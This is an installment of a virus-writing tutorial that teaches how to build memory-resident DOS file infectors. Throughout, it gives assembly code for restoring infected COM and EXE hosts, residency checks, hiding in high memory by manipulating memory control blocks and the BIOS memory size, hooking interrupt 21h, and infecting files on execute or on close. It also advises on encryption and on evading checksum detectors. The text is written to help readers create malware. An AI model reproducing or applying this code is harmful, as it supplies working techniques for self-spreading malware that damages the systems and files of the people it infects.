After reading  the the  Clumpy Guide, you should have at least some idea of
how to  code a  resident virus.  However, the somewhat vague descriptions I
gave may  have left  you in a befuddled state.  Hopefully, this installment
will clear the air.

STRUCTURE

In case  you missed  it the last time, here is a quick, general overview of
the structure  of the  resident virus.   The  virus consists  of two  major
portions, the  loading stub  and the  interrupt handlers.  The loading stub
performs two  functions.  First, it redirects interrupts to the virus code.
Second, it causes the virus to go resident.  The interrupt handlers contain
the code  which  cause  file  infection.    Generally,  the  handlers  trap
interrupt 21h and intercept such calls as file execution.

LOADING STUB

The loading  stub consists of two major portions, the residency routine and
the restoration  routine.   The latter portion, which handles the return of
control to  the original  file, is  identical as the one in the nonresident
virus.  I will briefly touch upon it here.

By now  you  should  understand  thoroughly  the  theory  behind  COM  file
infection.   By simply  replacing the  first few  bytes,  transfer  can  be
controlled to  the virus.   The  trick in  restoring COM files is simply to
restore the  overwritten  bytes  at  the  beginning  of  the  file.    This
restoration takes place only in memory and is therefore far from permanent.
Since COM files always load in a single memory segment and begin loading at
offset 100h  in the  memory  segment  (to  make  room  for  the  PSP),  the
restoration procedure  is very  simple.   For example,  if the  first three
bytes of  a COM  file were  stored in a buffer called “first3″ before being
overwritten by the virus, then the following code would restore the code in
memory:

mov  di,100h          ; Absolute location of destination
lea  si,[bp+first3]   ; Load address of saved bytes.
; Assume bp = “delta offset”
movsw                 ; Assume CS = DS = ES and a cleared direction flag
movsb                 ; Move three bytes

The problem of returning control to the program still remains.  This simply
consists of  forcing the  program to  transfer control to offset 100h.  The
easiest routine follows:

mov  di,100h
jmp  di

There are  numerous variations of this routine, but they all accomplish the
basic task of setting the ip to 100h.

You should  also understand  the concept  behind EXE infection by now.  EXE
infection, at  its most  basic level, consists of changing certain bytes in
the EXE  header.   The trick  is simply  to undo  all the changes which the
virus made.  The code follows:

mov     ax, es                          ; ES = segment of PSP
add     ax, 10h                         ; Loading starts after PSP
add     word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
; relative to end of PSP
cli
add     ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
mov     ss, ax
mov     sp, word ptr cs:[bp+OrigSSSP]
sti
db      0eah                            ; JMP FAR PTR SEG:OFF
OrigCSIP  dd ?                            ; Put values from the header
OrigSSSP  dd ?                            ; into here

If the  virus is  an EXE-specific  infector but you still wish to use a COM
file as  the carrier file, then simply set the OrigCSIP value to FFF0:0000.
This will  be changed  by the  restoration routine  to PSP:0000  which  is,
conveniently, an int 20h instruction.

All that  stuff should  not be  new.   Now we shall tread on new territory.
There are  two methods  of residency.  The first is the weenie method which
simply consists of using DOS interrupts to do the job for you.  This method
sucks because  it is  1) easily  trappable by  even the  most primitive  of
resident virus  monitors and  2) forces the program to terminate execution,
thereby alerting  the user  to the  presence of the virus.  I will not even
present code  for the  weenie method  because, as  the name suggests, it is
only for  weenies.   Real programmers  write their  own residency routines.
This basically consists of MCB-manipulation.  The general method is:

1.   Check for prior installation.  If already installed, exit the virus.
2.   Find the top of memory.
3.   Allocate the high memory.
4.   Copy the virus to high memory.
5.   Swap the interrupt vectors.

There are  several variations  on this technique and they will be discussed
as the need arises.

INSTALLATION CHECK

There are  several different  types of installation check.  The most common
is a  call to int 21h with AX set to a certain value.  If certain registers
are returned  set to  certain values,  then the  virus is  resident.    For
example, a sample residency check would be:

mov  ax,9999h  ; residency check
int  21h
cmp  bx,9999h  ; returns bx=9999h if installed
jz   already_installed

When choosing  a value  for ax in the installation check, make sure it does
not conflict  with an  existing function  unless the  function is harmless.
For example,  do not  use display  string (ah=9)  unless you  wish to  have
unpredictable results  when the virus is first being installed.  An example
of a harmless function is get DOS version (ah=30h) or flush keyboard buffer
(ah=0bh).   Of course, if the check conflicts with a current function, make
sure it  is narrow  enough so no programs will have a problem with it.  For
example, do  not merely trap ah=30h, but trap ax=3030h or even ax=3030h and
bx=3030h.

Another  method  of  checking  for  residency  is  to  search  for  certain
characteristics of  the virus.   For  example, if  the virus always sets an
unused interrupt  vector to  point to  its code, a possible residency check
would be to search the vector for the virus characteristics.  For example:

xor  ax,ax
mov  ds,ax     ; ds->interrupt table
les  bx,ds:[60h*4] ; get address of interrupt 60h
; assume the virus traps this and puts its int 21h handler
; here
cmp  es:bx,0FF2Eh ; search for the virus string
.
.
.
int60:
jmp far ptr cs:origint21

When using this method, take care to ensure that there is no possibility of
this characteristic  being false when the virus is resident.  In this case,
another program must not trap the int 60h vector or else the check may fail
even if  the virus  is  already  resident,  thereby  causing  unpredictable
results.

FIND THE TOP OF MEMORY

DOS generally  loads all available memory to a program upon loading.  Armed
with this  knowledge, the  virus can  easily determine the available memory
size.  Once again, the MCB structure is:

Offset    Size Meaning
—— ——- ——-
0         BYTE ‘M’ or ‘Z’
1         WORD Process ID (PSP of block’s owner)
3         WORD Size in paragraphs
5      3 BYTES Reserved (Unused)
8      8 BYTES DOS 4+ uses this.  Yay.

mov  ax,ds     ; Assume DS initially equals the segment of the PSP
dec  ax
mov  ds,ax     ; DS = MCB of infected program
mov  bx,ds:[3] ; Get MCB size (total available paragraphs to program)

A simpler  method of  performing the same action is to use DOS’s reallocate
memory function in the following manner:

mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
mov  bx,0FFFFh ; Request a ridiculous amount of memory
int  21h       ; Returns maximum available memory in BX
; This is the same value as in ds:[3]

ALLOCATE THE HIGH MEMORY

The easiest method to allocate memory is to let DOS do the work for you.

mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
sub  bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
; memory available to the program (returned by earlier
; call to int 21h/function 4ah
int  21h

mov  ah,48h    ; Allocate memory
mov  bx,(endvirus-startvirus+15)/16
int  21h
mov  es,ax     ; es now holds the high memory segment

dec  bx
mov  byte ptr ds:[0], ‘Z’ ; probably not needed
mov  word ptr ds:[1], 8   ; Mark DOS as owner of MCB

The purpose  of marking  DOS as  the owner  of the  MCB is  to prevent  the
deallocation of the memory area upon termination of the carrier program.

Of course, some may prefer direct manipulation of the MCBs.  This is easily
accomplished.   If ds is equal to the segment of the carrier program’s MCB,
then the following code will do the trick:

; Step 1) Shrink the carrier program’s memory allocation
; One paragraph is added for the MCB of the memory area which the virus
; will inhabit
sub  ds:[3],(endvirus-startvirus+15)/16 + 1

; Step 2) Mark the carrier program’s MCB as the last in the chain
; This isn’t really necessary, but it assures that the virus will not
; corrupt the memory chains
mov  byte ptr ds:[0],’Z’

; Step 3) Alter the program’s top of memory field in the PSP
; This preserves compatibility with COMMAND.COM and any other program
; which uses the field to determine the top of memory
sub  word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1

; Step 4) Calculate the first usable segment
mov  bx,ds:[3] ; Get MCB size
stc            ; Add one for the MCB segment
adc  bx,ax     ; Assume AX still equals the MCB of the carrier file
; BX now holds first usable segment.  Build the MCB
; there
; Alternatively, you can use the value in ds:[12h] as the first usable
; segment:
; mov  bx,ds:[12h]

; Step 5) Build the MCB
mov  ds,bx     ; ds holds the area to build the MCB
inc  bx        ; es now holds the segment of the memory area controlled
mov  es,bx     ; by the MCB
mov  byte ptr ds:[0],’Z’ ; Mark the MCB as the last in the chain
; Note: you can have more than one MCB chain
mov  word ptr ds:[1],8   ; Mark DOS as the owner
mov  word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field

There is yet another method involving direct manipulation.

; Step 1) Shrink the carrier program’s memory allocation
; Note that rounding is to the nearest 1024 bytes and there is no
; addition for an MCB
sub  ds:[3],((endvirus-startvirus+1023)/1024)*64

; Step 2) Mark the carrier program’s MCB as the last in the chain
mov  byte ptr ds:[1],’Z’

; Step 3) Alter the program’s top of memory field in the PSP
sub  word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64

; Step 4) Calculate the first usable segment
mov  es,word ptr ds:[12h]

; Step 5) Shrink the total memory as held in BIOS
; Memory location 0:413h holds the total system memory in K
xor  ax,ax
mov  ds,ax
sub  ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size

This method  is great  because it  is simple and short.  No MCB needs to be
created because  DOS will no longer allocate memory held by the virus.  The
modification of the field in the BIOS memory area guarantees this.

COPY THE VIRUS TO HIGH MEMORY

This is  ridiculously easy  to do.  If ES holds the high memory segment, DS
holds CS, and BP holds the delta offset, then the following code will do:

lea  si,[bp+offset startvirus]
xor  di,di     ; destination @ 0
mov  cx,(endvirus-startvirus)/2
rep  movsw     ; Copy away, use words for speed

SWAP INTERRUPT VECTORS

There are,  once again,  two ways  to do this; via DOS or directly.  Almost
every programmer  worth his  salt has  played with interrupt vectors at one
time or another.  Via DOS:

push es        ; es->high memory
pop  ds        ; ds->high memory
mov  ax,3521h  ; get old int 21h handler
int  21h       ; to es:bx
mov  word ptr ds:oldint21,bx  ; save it
mov  word ptr ds:oldint21+2,es
mov  dx,offset int21 ; ds:dx->new int 21h handler in virus
mov  ax,2521h  ; set handler
int  21h

And direct manipulation:
xor  ax,ax
mov  ds,ax
lds  bx,ds:[21h*4]
mov  word ptr es:oldint21,bx
mov  word ptr es:oldint21+2,ds
mov  ds,ax
mov  ds:[21h*4],offset int21
mov  ds:[21h*4+2],es

Delta offset  calculations  are  not  needed  since  the  location  of  the
variables is  known.   This is because the virus is always loaded into high
memory starting in offset 0.

INTERRUPT HANDLER

The interrupt  handler intercepts  function calls  to DOS and waylays them.
The interrupt  handler typically  begins with  a check  for a  call to  the
installation check.  For example:

int21:
cmp  ax,9999h  ; installation check?
jnz  not_installation_check
xchg ax,bx     ; return bx = 9999h if installed
iret           ; exit interrupt handler
not_installation_check:
; rest of interrupt handler goes here

With this  out of  the way,  the virus  can trap whichever DOS functions it
wishes.    Generally  the  most  effective  function  to  trap  is  execute
(ax=4b00h), as  the most commonly executed files will be infected.  Another
function to  trap, albeit  requiring more work, is handle close.  This will
infect  on   copies,  viewings,  patchings,  etc.    With  some  functions,
prechaining is  desired; others,  postchaining.   Use common sense.  If the
function destroys  the filename  pointer, then  use prechaining.    If  the
function   needs   to  be   completed  before  infection  can  take  place,
postchaining should be used.  Prechaining is simple:

pushf           ; simulate an int 21h call
call dword ptr cs:oldint21

; The following code ensures that the flags will be properly set upon
; return to the caller
pushf
push bp
push ax

; flags         [bp+10]
; calling CS:IP [bp+6]
; flags new     [bp+4]
; bp            [bp+2]
; ax            [bp]

mov  bp, sp     ; setup stack frame
mov  ax, [bp+4] ; get new flags
mov  [bp+10], ax; replace the old with the new

pop  ax         ; restore stack
pop  bp
popf

To exit  the interrupt  handler after  prechaining, use  an iret  statement
rather than a retn or retf.  Postchaining is even simpler:

jmp  dword ptr cs:oldint21 ; this never returns to the virus int handler

When leaving  the interrupt  handler, make  sure  that  the  stack  is  not
unbalanced and  that the  registers were  not altered.   Save the registers
right after prechaining and long before postchaining.

Infection in  a resident  virus is  essentially  the  same  as  that  in  a
nonresident virus.   The  only difference occurs when the interrupt handler
traps one  of the functions used in the infection routine.  For example, if
handle close is trapped, then the infection routine must replace the handle
close int 21h call with a call to the original interrupt 21h handler, a la:

pushf
call dword ptr cs:oldint21

It is also necessary to handle encryption in another manner with a resident
virus.  In the nonresident virus, it was not necessary to preserve the code
at all  times.   However, it  is desirable to keep the interrupt handler(s)
decrypted, even  when infecting.   Therefore,  the virus  should  keep  two
copies of  itself in  memory, one  as code  and one as data.  The encryptor
should encrypt  the secondary  copy  of  the  virus,  thereby  leaving  the
interrupt handler(s)  alone.   This is  especially important  if the  virus
traps other interrupts such as int 9h or int 13h.

A THEORY ON RESIDENT VIRUSES

Resident viruses  can typically  be divided  into two  categories; slow and
fast infectors.  They each have their own advantages and disadvantages.

Slow infectors  do not  infect except in the case of a file creation.  This
infector traps file creates and infects upon the closing of the file.  This
type of  virus infects  on new  file creations  and copying  of files.  The
disadvantage is  that the  virus spreads slowly.  This disadvantage is also
an advantage,  as this  may keep  it undetected  for a long time.  Although
slow infectors sound ineffective, in reality they can work well.  Infection
on file  creations means that checksum/CRC virus detectors won’t be able to
checksum/CRC the  file until  after it  has been  infected.   Additionally,
files are  often copied  from one  directory to  another after testing.  So
this method can work.

Fast infectors  infect on  executes.   This type  of virus will immediately
attack commonly  used files,  ensuring the continual residency of the virus
in subsequent  boots.   This is  the primary  advantage, but it is also the
primary disadvantage.   The  infector works  so rapidly  that the  user may
quickly detect  a discrepancy with the system, especially if the virus does
not utilise any stealth techniques.

Of course,  there is  no  “better”  way.    It  is  a  matter  of  personal
preference.   The vast  majority  of  viruses  today  are  fast  infectors,
although slow infectors are beginning to appear with greater frequency.

If the  virus is  to infect  on a  create or  open, it  first must copy the
filename to  a buffer,  execute the  call, and  save the handle.  The virus
must then  wait for  a handle close corresponding to that handle and infect
using the  filename stored  in the  buffer.  This is the simplest method of
infecting after a handle close without delving into DOS internals.

IF YOU DON’T UNDERSTAND IT YET

don’t despair;  it will  come after  some time and much practise.  You will
soon find  that resident  viruses  are  easier  to  code  than  nonresident
viruses.   That’s all  for this  installment, but  be sure to grab the next
one.